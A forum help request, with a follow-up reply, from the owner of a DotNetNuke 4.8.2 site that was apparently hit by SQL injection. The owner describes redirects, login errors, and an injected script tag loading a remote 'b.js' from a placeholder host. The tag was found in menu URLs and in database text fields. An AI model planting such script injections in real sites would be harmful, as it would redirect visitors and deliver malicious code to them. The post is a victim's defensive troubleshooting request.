I'm having some problems with my  site today.  My site is uses Dotnetnuke version 4.8.2,  Currently I have both non-dnn pages and dnn page. Nothing is being displayed on the homepage and I receive a "The hostname could not be parsed" when I visit it..  I can get to other dnn pages using the tabid instead but not the friendly name that was working yesterday, once I visit one the other pages and click on any link I'm redirected to another site. When you view the source of the page  the link looks like this; <menuitem id="69" title="&amp;nbsp;On The Road" url="catadjuster.org&lt;script src=http://www.bad site link.com/b.js&gt;&lt;/script&gt;/Home/OnTheRoad.aspx" />.  Also, when I try to login I receive a "invalid character in a Base-64 string" error. 

I currently have the site offline but did not have any trouble with the site yesterday and I do not have any trouble with the links on the non-dnn pages work good.  I restored a backup of the MSSQL database hoping this would clear things up but it did not.  I believe there may have been some SQL injection attempt on the non-dnn pages but I'm not sure.  Any thoughts on where to look fo the problems? 

Hi Chris,

Yes I use many forms on the DNN pages.  When checking the database so far I have found the script that redirects links to a site that trys to download additional scripts in the text fields of DesktopModules and Activeforms_MC tables.